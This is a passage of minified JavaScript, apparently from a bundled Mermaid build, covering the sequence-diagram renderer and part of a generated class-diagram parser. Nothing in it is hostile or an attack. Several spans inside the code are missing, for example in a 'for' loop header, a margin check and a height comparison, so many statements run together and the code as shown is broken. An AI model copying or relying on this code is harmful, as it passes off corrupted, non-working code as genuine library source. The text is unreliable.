t(a,s,l,u,h,f,d){let p=s.append("text").attr("x",l+h/2).attr("y",u+f/2+5).style("text-anchor","middle").text(a);i(p,d)}o(t,"byText");function e(a,s,l,u,h,f,d,p){let{actorFontSize:m,actorFontFamily:g,actorFontWeight:y}=p,[v,x]=vc(m),b=a.split(tt.lineBreakRegex);for(let T=0;T{let s=l0(Me),l=a.actorKeys.reduce((d,p)=>d+=t.get(p).width+(t.get(p).margin||0),0),u=Me.boxMargin*8;l+=u,l-=2*Me.boxTextMargin,a.wrap&&(a.name=qt.wrapLabel(a.name,l-2*Me.wrapPadding,s));let h=qt.calculateTextDimensions(a.name,s);i=tt.getMax(h.height,i);let f=tt.getMax(l,h.width+2*Me.wrapPadding);if(a.margin=Me.boxTextMargin,la.textMaxHeight=i),tt.getMax(n,Me.height)}var Me,ot,TJe,l0,ay,n$,kJe,EJe,i$,Vye,Uye,rC,Gye,CJe,_Je,LJe,RJe,NJe,Hye,qye=N(()=>{"use strict";yr();zye();pt();gr();gr();r2();Xt();v0();tr();Ei();e$();Me={},ot={data:{startx:void 0,stopx:void 0,starty:void 0,stopy:void 0},verticalPos:0,sequenceItems:[],activations:[],models:{getHeight:o(function(){return Math.max.apply(null,this.actors.length===0?[0]:this.actors.map(t=>t.height||0))+(this.loops.length===0?0:this.loops.map(t=>t.height||0).reduce((t,e)=>t+e))+(this.messages.length===0?0:this.messages.map(t=>t.height||0).reduce((t,e)=>t+e))+(this.notes.length===0?0:this.notes.map(t=>t.height||0).reduce((t,e)=>t+e))},"getHeight"),clear:o(function(){this.actors=[],this.boxes=[],this.loops=[],this.messages=[],this.notes=[]},"clear"),addBox:o(function(t){this.boxes.push(t)},"addBox"),addActor:o(function(t){this.actors.push(t)},"addActor"),addLoop:o(function(t){this.loops.push(t)},"addLoop"),addMessage:o(function(t){this.messages.push(t)},"addMessage"),addNote:o(function(t){this.notes.push(t)},"addNote"),lastActor:o(function(){return this.actors[this.actors.length-1]},"lastActor"),lastLoop:o(function(){return this.loops[this.loops.length-1]},"lastLoop"),lastMessage:o(function(){return this.messages[this.messages.length-1]},"lastMessage"),lastNote:o(function(){return this.notes[this.notes.length-1]},"lastNote"),actors:[],boxes:[],loops:[],messages:[],notes:[]},init:o(function(){this.sequenceItems=[],this.activations=[],this.models.clear(),this.data={startx:void 0,stopx:void 0,starty:void 0,stopy:void 0},this.verticalPos=0,Uye(ge())},"init"),updateVal:o(function(t,e,r,n){t[e]===void 0?t[e]=r:t[e]=n(r,t[e])},"updateVal"),updateBounds:o(function(t,e,r,n){let i=this,a=0;function s(l){return o(function(h){a++;let f=i.sequenceItems.length-a+1;i.updateVal(h,"starty",e-f*Me.boxMargin,Math.min),i.updateVal(h,"stopy",n+f*Me.boxMargin,Math.max),i.updateVal(ot.data,"startx",t-f*Me.boxMargin,Math.min),i.updateVal(ot.data,"stopx",r+f*Me.boxMargin,Math.max),l!=="activation"&&(i.updateVal(h,"startx",t-f*Me.boxMargin,Math.min),i.updateVal(h,"stopx",r+f*Me.boxMargin,Math.max),i.updateVal(ot.data,"starty",e-f*Me.boxMargin,Math.min),i.updateVal(ot.data,"stopy",n+f*Me.boxMargin,Math.max))},"updateItemBounds")}o(s,"updateFn"),this.sequenceItems.forEach(s()),this.activations.forEach(s("activation"))},"updateBounds"),insert:o(function(t,e,r,n){let i=tt.getMin(t,r),a=tt.getMax(t,r),s=tt.getMin(e,n),l=tt.getMax(e,n);this.updateVal(ot.data,"startx",i,Math.min),this.updateVal(ot.data,"starty",s,Math.min),this.updateVal(ot.data,"stopx",a,Math.max),this.updateVal(ot.data,"stopy",l,Math.max),this.updateBounds(i,s,a,l)},"insert"),newActivation:o(function(t,e,r){let n=r.get(t.from),i=rC(t.from).length||0,a=n.x+n.width/2+(i-1)*Me.activationWidth/2;this.activations.push({startx:a,starty:this.verticalPos+2,stopx:a+Me.activationWidth,stopy:void 0,actor:t.from,anchored:mi.anchorElement(e)})},"newActivation"),endActivation:o(function(t){let e=this.activations.map(function(r){return r.actor}).lastIndexOf(t.from);return this.activations.splice(e,1)[0]},"endActivation"),createLoop:o(function(t={message:void 0,wrap:!1,width:void 0},e){return{startx:void 0,starty:this.verticalPos,stopx:void 0,stopy:void 0,title:t.message,wrap:t.wrap,width:t.width,height:0,fill:e}},"createLoop"),newLoop:o(function(t={message:void 0,wrap:!1,width:void 0},e){this.sequenceItems.push(this.createLoop(t,e))},"newLoop"),endLoop:o(function(){return this.sequenceItems.pop()},"endLoop"),isLoopOverlap:o(function(){return this.sequenceItems.length?this.sequenceItems[this.sequenceItems.length-1].overlap:!1},"isLoopOverlap"),addSectionToLoop:o(function(t){let e=this.sequenceItems.pop();e.sections=e.sections||[],e.sectionTitles=e.sectionTitles||[],e.sections.push({y:ot.getVerticalPos(),height:0}),e.sectionTitles.push(t),this.sequenceItems.push(e)},"addSectionToLoop"),saveVerticalPos:o(function(){this.isLoopOverlap()&&(this.savedVerticalPos=this.verticalPos)},"saveVerticalPos"),resetVerticalPos:o(function(){this.isLoopOverlap()&&(this.verticalPos=this.savedVerticalPos)},"resetVerticalPos"),bumpVerticalPos:o(function(t){this.verticalPos=this.verticalPos+t,this.data.stopy=tt.getMax(this.data.stopy,this.verticalPos)},"bumpVerticalPos"),getVerticalPos:o(function(){return this.verticalPos},"getVerticalPos"),getBounds:o(function(){return{bounds:this.data,models:this.models}},"getBounds")},TJe=o(async function(t,e){ot.bumpVerticalPos(Me.boxMargin),e.height=Me.boxMargin,e.starty=ot.getVerticalPos();let r=ua();r.x=e.startx,r.y=e.starty,r.width=e.width||Me.width,r.class="note";let n=t.append("g"),i=mi.drawRect(n,r),a=t2();a.x=e.startx,a.y=e.starty,a.width=r.width,a.dy="1em",a.text=e.message,a.class="noteText",a.fontFamily=Me.noteFontFamily,a.fontSize=Me.noteFontSize,a.fontWeight=Me.noteFontWeight,a.anchor=Me.noteAlign,a.textMargin=Me.noteMargin,a.valign="center";let s=kn(a.text)?await w4(n,a):o0(n,a),l=Math.round(s.map(u=>(u._groups||u)[0][0].getBBox().height).reduce((u,h)=>u+h));i.attr("height",l+2*Me.noteMargin),e.height+=l+2*Me.noteMargin,ot.bumpVerticalPos(l+2*Me.noteMargin),e.stopy=e.starty+l+2*Me.noteMargin,e.stopx=e.startx+r.width,ot.insert(e.startx,e.starty,e.stopx,e.stopy),ot.models.addNote(e)},"drawNote"),l0=o(t=>({fontFamily:t.messageFontFamily,fontSize:t.messageFontSize,fontWeight:t.messageFontWeight}),"messageFont"),ay=o(t=>({fontFamily:t.noteFontFamily,fontSize:t.noteFontSize,fontWeight:t.noteFontWeight}),"noteFont"),n$=o(t=>({fontFamily:t.actorFontFamily,fontSize:t.actorFontSize,fontWeight:t.actorFontWeight}),"actorFont");o(wJe,"boundMessage");kJe=o(async function(t,e,r,n){let{startx:i,stopx:a,starty:s,message:l,type:u,sequenceIndex:h,sequenceVisible:f}=e,d=qt.calculateTextDimensions(l,l0(Me)),p=t2();p.x=i,p.y=s+10,p.width=a-i,p.class="messageText",p.dy="1em",p.text=l,p.fontFamily=Me.messageFontFamily,p.fontSize=Me.messageFontSize,p.fontWeight=Me.messageFontWeight,p.anchor=Me.messageAlign,p.valign="center",p.textMargin=Me.wrapPadding,p.tspan=!1,kn(p.text)?await w4(t,p,{startx:i,stopx:a,starty:r}):o0(t,p);let m=d.width,g;i===a?Me.rightAngles?g=t.append("path").attr("d",`M ${i},${r} H ${i+tt.getMax(Me.width/2,m/2)} V ${r+25} H ${i}`):g=t.append("path").attr("d","M "+i+","+r+" C "+(i+60)+","+(r-10)+" "+(i+60)+","+(r+30)+" "+i+","+(r+20)):(g=t.append("line"),g.attr("x1",i),g.attr("y1",r),g.attr("x2",a),g.attr("y2",r)),u===n.db.LINETYPE.DOTTED||u===n.db.LINETYPE.DOTTED_CROSS||u===n.db.LINETYPE.DOTTED_POINT||u===n.db.LINETYPE.DOTTED_OPEN||u===n.db.LINETYPE.BIDIRECTIONAL_DOTTED?(g.style("stroke-dasharray","3, 3"),g.attr("class","messageLine1")):g.attr("class","messageLine0");let y="";Me.arrowMarkerAbsolute&&(y=md(!0)),g.attr("stroke-width",2),g.attr("stroke","none"),g.style("fill","none"),(u===n.db.LINETYPE.SOLID||u===n.db.LINETYPE.DOTTED)&&g.attr("marker-end","url("+y+"#arrowhead)"),(u===n.db.LINETYPE.BIDIRECTIONAL_SOLID||u===n.db.LINETYPE.BIDIRECTIONAL_DOTTED)&&(g.attr("marker-start","url("+y+"#arrowhead)"),g.attr("marker-end","url("+y+"#arrowhead)")),(u===n.db.LINETYPE.SOLID_POINT||u===n.db.LINETYPE.DOTTED_POINT)&&g.attr("marker-end","url("+y+"#filled-head)"),(u===n.db.LINETYPE.SOLID_CROSS||u===n.db.LINETYPE.DOTTED_CROSS)&&g.attr("marker-end","url("+y+"#crosshead)"),(f||Me.showSequenceNumbers)&&((u===n.db.LINETYPE.BIDIRECTIONAL_SOLID||u===n.db.LINETYPE.BIDIRECTIONAL_DOTTED)&&(ii&&(i=h.height),h.width+l.x>a&&(a=h.width+l.x)}return{maxHeight:i,maxWidth:a}},"drawActorsPopup"),Uye=o(function(t){Rn(Me,t),t.fontFamily&&(Me.actorFontFamily=Me.noteFontFamily=Me.messageFontFamily=t.fontFamily),t.fontSize&&(Me.actorFontSize=Me.noteFontSize=Me.messageFontSize=t.fontSize),t.fontWeight&&(Me.actorFontWeight=Me.noteFontWeight=Me.messageFontWeight=t.fontWeight)},"setConf"),rC=o(function(t){return ot.activations.filter(function(e){return e.actor===t})},"actorActivations"),Gye=o(function(t,e){let r=e.get(t),n=rC(t),i=n.reduce(function(s,l){return tt.getMin(s,l.startx)},r.x+r.width/2-1),a=n.reduce(function(s,l){return tt.getMax(s,l.stopx)},r.x+r.width/2+1);return[i,a]},"activationBounds");o(ru,"adjustLoopHeightForWrap");o(SJe,"adjustCreatedDestroyedData");CJe=o(async function(t,e,r,n){let{securityLevel:i,sequence:a}=ge();Me=a;let s;i==="sandbox"&&(s=qe("#i"+e));let l=i==="sandbox"?qe(s.nodes()[0].contentDocument.body):qe("body"),u=i==="sandbox"?s.nodes()[0].contentDocument:document;ot.init(),X.debug(n.db);let h=i==="sandbox"?l.select(`[id="${e}"]`):qe(`[id="${e}"]`),f=n.db.getActors(),d=n.db.getCreatedActors(),p=n.db.getDestroyedActors(),m=n.db.getBoxes(),g=n.db.getActorKeys(),y=n.db.getMessages(),v=n.db.getDiagramTitle(),x=n.db.hasAtLeastOneBox(),b=n.db.hasAtLeastOneBoxWithTitle(),T=await AJe(f,y,n);if(Me.height=await DJe(f,T,m),mi.insertComputerIcon(h),mi.insertDatabaseIcon(h),mi.insertClockIcon(h),x&&(ot.bumpVerticalPos(Me.boxMargin),b&&ot.bumpVerticalPos(m[0].textMaxHeight)),Me.hideUnusedParticipants===!0){let B=new Set;y.forEach(F=>{B.add(F.from),B.add(F.to)}),g=g.filter(F=>B.has(F))}EJe(h,f,d,g,0,y,!1);let S=await NJe(y,f,T,n);mi.insertArrowHead(h),mi.insertArrowCrossHead(h),mi.insertArrowFilledHead(h),mi.insertSequenceNumber(h);function w(B,F){let G=ot.endActivation(B);G.starty+18>F&&(G.starty=F-6,F+=12),mi.drawActivation(h,G,F,Me,rC(B.from).length),ot.insert(G.startx,F-10,G.stopx,F)}o(w,"activeEnd");let k=1,A=1,C=[],R=[],I=0;for(let B of y){let F,G,$;switch(B.type){case n.db.LINETYPE.NOTE:ot.resetVerticalPos(),G=B.noteModel,await TJe(h,G);break;case n.db.LINETYPE.ACTIVE_START:ot.newActivation(B,h,f);break;case n.db.LINETYPE.ACTIVE_END:w(B,ot.getVerticalPos());break;case n.db.LINETYPE.LOOP_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.LOOP_END:F=ot.endLoop(),await mi.drawLoop(h,F,"loop",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.RECT_START:ru(S,B,Me.boxMargin,Me.boxMargin,U=>ot.newLoop(void 0,U.message));break;case n.db.LINETYPE.RECT_END:F=ot.endLoop(),R.push(F),ot.models.addLoop(F),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos());break;case n.db.LINETYPE.OPT_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.OPT_END:F=ot.endLoop(),await mi.drawLoop(h,F,"opt",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.ALT_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.ALT_ELSE:ru(S,B,Me.boxMargin+Me.boxTextMargin,Me.boxMargin,U=>ot.addSectionToLoop(U));break;case n.db.LINETYPE.ALT_END:F=ot.endLoop(),await mi.drawLoop(h,F,"alt",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.PAR_START:case n.db.LINETYPE.PAR_OVER_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U)),ot.saveVerticalPos();break;case n.db.LINETYPE.PAR_AND:ru(S,B,Me.boxMargin+Me.boxTextMargin,Me.boxMargin,U=>ot.addSectionToLoop(U));break;case n.db.LINETYPE.PAR_END:F=ot.endLoop(),await mi.drawLoop(h,F,"par",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.AUTONUMBER:k=B.message.start||k,A=B.message.step||A,B.message.visible?n.db.enableSequenceNumbers():n.db.disableSequenceNumbers();break;case n.db.LINETYPE.CRITICAL_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.CRITICAL_OPTION:ru(S,B,Me.boxMargin+Me.boxTextMargin,Me.boxMargin,U=>ot.addSectionToLoop(U));break;case n.db.LINETYPE.CRITICAL_END:F=ot.endLoop(),await mi.drawLoop(h,F,"critical",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.BREAK_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.BREAK_END:F=ot.endLoop(),await mi.drawLoop(h,F,"break",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;default:try{$=B.msgModel,$.starty=ot.getVerticalPos(),$.sequenceIndex=k,$.sequenceVisible=n.db.showSequenceNumbers();let U=await wJe(h,$);SJe(B,$,U,I,f,d,p),C.push({messageModel:$,lineStartY:U}),ot.models.addMessage($)}catch(U){X.error("error while drawing message",U)}}[n.db.LINETYPE.SOLID_OPEN,n.db.LINETYPE.DOTTED_OPEN,n.db.LINETYPE.SOLID,n.db.LINETYPE.DOTTED,n.db.LINETYPE.SOLID_CROSS,n.db.LINETYPE.DOTTED_CROSS,n.db.LINETYPE.SOLID_POINT,n.db.LINETYPE.DOTTED_POINT,n.db.LINETYPE.BIDIRECTIONAL_SOLID,n.db.LINETYPE.BIDIRECTIONAL_DOTTED].includes(B.type)&&(k=k+A),I++}X.debug("createdActors",d),X.debug("destroyedActors",p),await i$(h,f,g,!1);for(let B of C)await kJe(h,B.messageModel,B.lineStartY,n);Me.mirrorActors&&await i$(h,f,g,!0),R.forEach(B=>mi.drawBackgroundRect(h,B)),r$(h,f,g,Me);for(let B of ot.models.boxes){B.height=ot.getVerticalPos()-B.y,ot.insert(B.x,B.y,B.x+B.width,B.height);let F=Me.boxMargin*2;B.startx=B.x-F,B.starty=B.y-F*.25,B.stopx=B.startx+B.width+2*F,B.stopy=B.starty+B.height+F*.75,B.stroke="rgb(0,0,0, 0.5)",mi.drawBox(h,B,Me)}x&&ot.bumpVerticalPos(Me.boxMargin);let L=Vye(h,f,g,u),{bounds:E}=ot.getBounds();E.startx===void 0&&(E.startx=0),E.starty===void 0&&(E.starty=0),E.stopx===void 0&&(E.stopx=0),E.stopy===void 0&&(E.stopy=0);let D=E.stopy-E.starty;D2,d=o(y=>l?-y:y,"adjustValue");t.from===t.to?h=u:(t.activate&&!f&&(h+=d(Me.activationWidth/2-1)),[r.db.LINETYPE.SOLID_OPEN,r.db.LINETYPE.DOTTED_OPEN].includes(t.type)||(h+=d(3)),[r.db.LINETYPE.BIDIRECTIONAL_SOLID,r.db.LINETYPE.BIDIRECTIONAL_DOTTED].includes(t.type)&&(u-=d(3)));let p=[n,i,a,s],m=Math.abs(u-h);t.wrap&&t.message&&(t.message=qt.wrapLabel(t.message,tt.getMax(m+2*Me.wrapPadding,Me.width),l0(Me)));let g=qt.calculateTextDimensions(t.message,l0(Me));return{width:tt.getMax(t.wrap?0:g.width+2*Me.wrapPadding,m+2*Me.wrapPadding,Me.width),height:0,startx:u,stopx:h,starty:0,stopy:0,message:t.message,type:t.type,wrap:t.wrap,fromBounds:Math.min.apply(null,p),toBounds:Math.max.apply(null,p)}},"buildMessageModel"),NJe=o(async function(t,e,r,n){let i={},a=[],s,l,u;for(let h of t){switch(h.type){case n.db.LINETYPE.LOOP_START:case n.db.LINETYPE.ALT_START:case n.db.LINETYPE.OPT_START:case n.db.LINETYPE.PAR_START:case n.db.LINETYPE.PAR_OVER_START:case n.db.LINETYPE.CRITICAL_START:case n.db.LINETYPE.BREAK_START:a.push({id:h.id,msg:h.message,from:Number.MAX_SAFE_INTEGER,to:Number.MIN_SAFE_INTEGER,width:0});break;case n.db.LINETYPE.ALT_ELSE:case n.db.LINETYPE.PAR_AND:case n.db.LINETYPE.CRITICAL_OPTION:h.message&&(s=a.pop(),i[s.id]=s,i[h.id]=s,a.push(s));break;case n.db.LINETYPE.LOOP_END:case n.db.LINETYPE.ALT_END:case n.db.LINETYPE.OPT_END:case n.db.LINETYPE.PAR_END:case n.db.LINETYPE.CRITICAL_END:case n.db.LINETYPE.BREAK_END:s=a.pop(),i[s.id]=s;break;case n.db.LINETYPE.ACTIVE_START:{let d=e.get(h.from?h.from:h.to.actor),p=rC(h.from?h.from:h.to.actor).length,m=d.x+d.width/2+(p-1)*Me.activationWidth/2,g={startx:m,stopx:m+Me.activationWidth,actor:h.from,enabled:!0};ot.activations.push(g)}break;case n.db.LINETYPE.ACTIVE_END:{let d=ot.activations.map(p=>p.actor).lastIndexOf(h.from);ot.activations.splice(d,1).splice(0,1)}break}h.placement!==void 0?(l=await LJe(h,e,n),h.noteModel=l,a.forEach(d=>{s=d,s.from=tt.getMin(s.from,l.startx),s.to=tt.getMax(s.to,l.startx+l.width),s.width=tt.getMax(s.width,Math.abs(s.from-s.to))-Me.labelBoxWidth})):(u=RJe(h,e,n),h.msgModel=u,u.startx&&u.stopx&&a.length>0&&a.forEach(d=>{if(s=d,u.startx===u.stopx){let p=e.get(h.from),m=e.get(h.to);s.from=tt.getMin(p.x-u.width/2,p.x-p.width/2,s.from),s.to=tt.getMax(m.x+u.width/2,m.x+p.width/2,s.to),s.width=tt.getMax(s.width,Math.abs(s.to-s.from))-Me.labelBoxWidth}else s.from=tt.getMin(u.startx,s.from),s.to=tt.getMax(u.stopx,s.to),s.width=tt.getMax(s.width,u.width)-Me.labelBoxWidth}))}return ot.activations=[],X.debug("Loop type widths:",i),i},"calculateLoopBounds"),Hye={bounds:ot,drawActors:i$,drawActorsPopup:Vye,setConf:Uye,draw:CJe}});var Wye={};dr(Wye,{diagram:()=>MJe});var MJe,Yye=N(()=>{"use strict";Iye();e$();Pye();Xt();qye();MJe={parser:Mye,get db(){return new J6},renderer:Hye,styles:Oye,init:o(t=>{t.sequence||(t.sequence={}),t.wrap&&(t.sequence.wrap=t.wrap,nv({sequence:{wrap:t.wrap}}))},"init")}});var a$,nC,s$=N(()=>{"use strict";a$=(function(){var t=o(function(Ie,Ne,Ce,Fe){for(Ce=Ce||{},Fe=Ie.length;Fe--;Ce[Ie[Fe]]=Ne);return Ce},"o"),e=[1,18],r=[1,19],n=[1,20],i=[1,41],a=[1,42],s=[1,26],l=[1,24],u=[1,25],h=[1,32],f=[1,33],d=[1,34],p=[1,45],m=[1,35],g=[1,36],y=[1,37],v=[1,38],x=[1,27],b=[1,28],T=[1,29],S=[1,30],w=[1,31],k=[1,44],A=[1,46],C=[1,43],R=[1,47],I=[1,9],L=[1,8,9],E=[1,58],D=[1,59],_=[1,60],O=[1,61],M=[1,62],P=[1,63],B=[1,64],F=[1,8,9,41],G=[1,76],$=[1,8,9,12,13,22,39,41,44,68,69,70,71,72,73,74,79,81],U=[1,8,9,12,13,18,20,22,39,41,44,50,60,68,69,70,71,72,73,74,79,81,86,100,102,103],j=[13,60,86,100,102,103],te=[13,60,73,74,86,100,102,103],Y=[13,60,68,69,70,71,72,86,100,102,103],oe=[1,100],J=[1,117],ue=[1,113],re=[1,109],ee=[1,115],Z=[1,110],K=[1,111],ae=[1,112],Q=[1,114],de=[1,116],ne=[22,48,60,61,82,86,87,88,89,90],Te=[1,8,9,39,41,44],q=[1,8,9,22],Ve=[1,145],pe=[1,8,9,61],Be=[1,8,9,22,48,60,61,82,86,87,88,89,90],Ye={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,mermaidDoc:4,statements:5,graphConfig:6,CLASS_DIAGRAM:7,NEWLINE:8,EOF:9,statement:10,classLabel:11,SQS:12,STR:13,SQE:14,namespaceName:15,alphaNumToken:16,classLiteralName:17,DOT:18,className:19,GENERICTYPE:20,relationStatement:21,LABEL:22,namespaceStatement:23,classStatement:24,memberStatement:25,annotationStatement:26,clickStatement:27,styleStatement:28,cssClassStatement:29,noteStatement:30,classDefStatement:31,direction:32,acc_title:33,acc_title_value:34,acc_descr:35,acc_descr_value:36,acc_descr_multiline_value:37,namespaceIdentifier:38,STRUCT_START:39,classStatements:40,STRUCT_STOP:41,NAMESPACE:42,classIdentifier:43,STYLE_SEPARATOR:44,members:45,CLASS:46,emptyBody:47,SPACE:48,ANNOTATION_START:49,ANNOTATION_END:50,MEMBER:51,SEPARATOR:52,relation:53,NOTE_FOR:54,noteText:55,NOTE:56,CLASSDEF:57,classList:58,stylesOpt:59,ALPHA:60,COMMA:61,direction_tb:62,direction_bt:63,direction_rl:64,direction_lr:65,relationType:66,lineType:67,AGGREGATION:68,EXTENSION:69,COMPOSITION:70,DEPENDENCY:71,LOLLIPOP:72,LINE:73,DOTTED_LINE:74,CALLBACK:75,LINK:76,LINK_TARGET:77,CLICK:78,CALLBACK_NAME:79,CALLBACK_ARGS:80,HREF:81,STYLE:82,CSSCLASS:83,style:84,styleComponent:85,NUM:86,COLON:87,UNIT:88,BRKT:89,PCT:90,commentToken:91,textToken:92,graphCodeTokens:93,textNoTagsToken:94,TAGSTART:95,TAGEND:96,"==":97,"--":98,DEFAULT:99,MINUS:100,keywords:101,UNICODE_TEXT:102,BQUOTE_STR:103,$accept:0,$end:1},terminals_:{2:"error",7:"CLASS_DIAGRAM",8:"NEWLINE",9:"EOF",12:"SQS",13:"STR",14:"SQE",18:"DOT",20:"GENERICTYPE",22:"LABEL",33:"acc_title",34:"acc_title_value",35:"acc_descr",36:"acc_descr_value",37:"acc_descr_multiline_value",39:"STRUCT_START",41:"STRUCT_STOP",42:"NAMESPACE",44:"STYLE_SEPARATOR",46:"CLASS",48:"SPACE",49:"ANNOTATION_START",50:"ANNOTATION_END",51:"MEMBER",52:"SEPARATOR",54:"NOTE_FOR",56:"NOTE",57:"CLASSDEF",60:"ALPHA",61:"COMMA",62:"direction_tb",63:"direction_bt",64:"direction_rl",65:"direction_lr",68:"AGGREGATION",69:"EXTENSION",70:"COMPOSITION",71:"DEPENDENCY",72:"LOLLIPOP",73:"LINE",74:"DOTTED_LINE",75:"CALLBACK",76:"LINK",77:"LINK_TARGET",78:"CLICK",79:"CALLBACK_NAME",80:"CALLBACK_ARGS",81:"HREF",82:"STYLE",83:"CSSCLASS",86:"NUM",87:"COLON",88:"UNIT",89:"BRKT",90:"PCT",93:"graphCodeTokens",95:"TAGSTART",96:"TAGEND",97:"==",98:"--",99:"DEFAULT",100:"MINUS",101:"keywords",102:"UNICODE_TEXT",103:"BQUOTE_STR"},productions_:[0,[3,1],[3,1],[4,1],[6,4],[5,1],[5,2],[5,3],[11,3],[15,1],[15,1],[15,3],[15,2],[19,1],[19,3],[19,1],[19,2],[19,2],[19,2],[10,1],[10,2],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,2],[10,2],[10,1],[23,4],[23,5],[38,2],[40,1],[40,2],[40,3],[24,1],[24,3],[24,4],[24,3],[24,6],[43,2],[43,3],[47,0],[47,2],[47,2],[26,4],[45,1],[45,2],[25,1],[25,2],[25,1],[25,1],[21,3],[21,4],[21,4],[21,5],[30,3],[30,2],[31,3],[58,1],[58,3],[32,1],[32,1],[32,1],[32,1],[53,3],[53,2],[53,2],[53,1],[66,1],[66,1],[66,1],[66,1],[66,1],[67,1],[67,1],[27,3],[27,4],[27,3],[27,4],[27,4],[27,5],[27,3],[27,4],[27,4],[27,5],[27,4],[27,5],[27,5],[27,6],[28,3],[29,3],[59,1],[59,3],[84,1],[84,2],[85,1],[85,1],[85,1],[85,1],[85,1],[85,1],[85,1],[85,1],[85,1],[91,1],[91,1],[92,1],[92,1],[92,1],[92,1],[92,1],[92,1],[92,1],[94,1],[94,1],[94,1],[94,1],[16,1],[16,1],[16,1],[16,1],[17,1],[55,1]],performAction:o(function(Ne,Ce,Fe,fe,xe,W,he){var z=W.length-1;switch(xe){case 8:this.$=W[z-1];break;case 9:case 10:case 13:case 15:this.$=W[z];break;case 11:case 14:this.$=W[z-2]+"."+W[z];break;case 12:case 16:this.$=W[z-1]+W[z];break;case 17:case 18:this.$=W[z-1]+"~"+W[z]+"~";break;case 19:fe.addRelation(W[z]);break;case 20:W[z-1].title=fe.cleanupLabel(W[z]),fe.addRelation(W[z-1]);break;case 31:this.$=W[z].trim(),fe.setAccTitle(this.$);break;case 32:case 33:this.$=W[z].trim(),fe.setAccDescription(this.$);break;case 34:fe.addClassesToNamespace(W[z-3],W[z-1]);break;case 35:fe.addClassesToNamespace(W[z-4],W[z-1]);break;case 36:this.$=W[z],fe.addNamespace(W[z]);break;case 37:this.$=[W[z]];break;case 38:this.$=[W[z-1]];break;case 39:W[z].unshift(W[z-2]),this.$=W[z];break;case 41:fe.setCssClass(W[z-2],W[z]);break;case 42:fe.addMembers(W[z-3],W[z-1]);break;case 44:fe.setCssClass(W[z-5],W[z-3]),fe.addMembers(W[z-5],W[z-1]);break;case 45:this.$=W[z],fe.addClass(W[z]);break;case 46:this.$=W[z-1],fe.addClass(W[z-1]),fe.setClassLabel(W[z-1],W[z]);break;case 50:fe.addAnnotation(W[z],W[z-2]);break;case 51:case 64:this.$=[W[z]];break;case 52:W[z].push(W[z-1]),this.$=W[z];break;case 53:break;case 54:fe.addMember(W[z-1],fe.cleanupLabel(W[z]));break;case 55:break;case 56:break;case 57:this.$={id1:W[z-2],id2:W[z],relation:W[z-1],relationTitle1:"none",relationTitle2:"none"};break;case 58:this.$={id1:W[z-3],id2:W[z],relation:W[z-1],relationTitle1:W[z-2],relationTitle2:"none"};break;case 59:this.$={id1:W[z-3],id2:W[z],relation:W[z-2],relationTitle1:"none",relationTitle2:W[z-1]};break;case 60:this.$={id1:W[z-4],id2:W[z],relation:W[z-2],relationTitle1:W[z-3],relationTitle2:W[z-1]};break;case 61:fe.addNote(W[z],W[z-1]);break;case 62:fe.addNote(W[z]);break;case 63:this.$=W[z-2],fe.defineClass(W[z-1],W[z]);break;case 65:this.$=W[z-2].concat([W[z]]);break;case 66:fe.setDirection("TB");break;case 67:fe.setDirection("BT");break;case 68:fe.setDirection("RL");break;case 69:fe.setDirection("LR");break;case 70:this.$={type1:W[z-2],type2:W[z],lineType:W[z-1]};break;case 71:this.$={type1:"none",type2:W[z],lineType:W[z-1]};break;case 72:this.$={type1:W[z-1],type2:"none",lineType:W[z]};break;case 73:this.$={type1:"none",type2:"none",lineType:W[z]};break;case 74:this.$=fe.relationType.AGGREGATION;break;case 75:this.$=fe.relationType.EXTENSION;break;case 76:this.$=fe.relationType.COMPOSITION;break;case 77:this.$=fe.relationType.DEPENDENCY;break;case 78:this.$=fe.relationType.LOLLIPOP;break;case 79:this.$=fe.lineType.LINE;break;case 80:this.$=fe.lineType.DOTTED_LINE;break;case 81:case 87:this.$=W[z-2],fe.setClickEvent(W[z-1],W[z]);break;case 82:case 88:this.$=W[z-3],fe.setClickEvent(W[z-2],W[z-1]),fe.setTooltip(W[z-2],W[z]);break;case 83:this.$=W[z-2],fe.setLink(W[z-1],W[z]);break;case 84:this.$=W[z-3],fe.setLink(W[z-2],W[z-1],W[z]);break;case 85:this.$=W[z-3],fe.setLink(W[z-2],W[z-1]),fe.setTooltip(W[z-2],W[z]);break;case 86:this.$=W[z-4],fe.setLink(W[z-3],W[z-2],W[z]),fe.setTooltip(W[z-3],W[z-1]);break;case 89:this.$=W[z-3],fe.setClickEvent(W[z-2],W[z-1],W[z]);break;case 90:this.$=W[z-4],fe.setClickEvent(W[z-3],W[z-2],W[z-1]),fe.setTooltip(W[z-3],W[z]);break;case 91:this.$=W[z-3],fe.setLink(W[z-2],W[z]);break;case 92:this.$=W[z-4],fe.setLink(W[z-3],W[z-1],W[z]);break;case 93:this.$=W[z-4],fe.setLink(W[z-3],W[z-1]),fe.setTooltip(W[z-3],W[z]);break;case 94:this.$=W[z-5],fe.setLink(W[z-4],W[z-2],W[z]),fe.setTooltip(W[z-4],W[z-1]);break;case 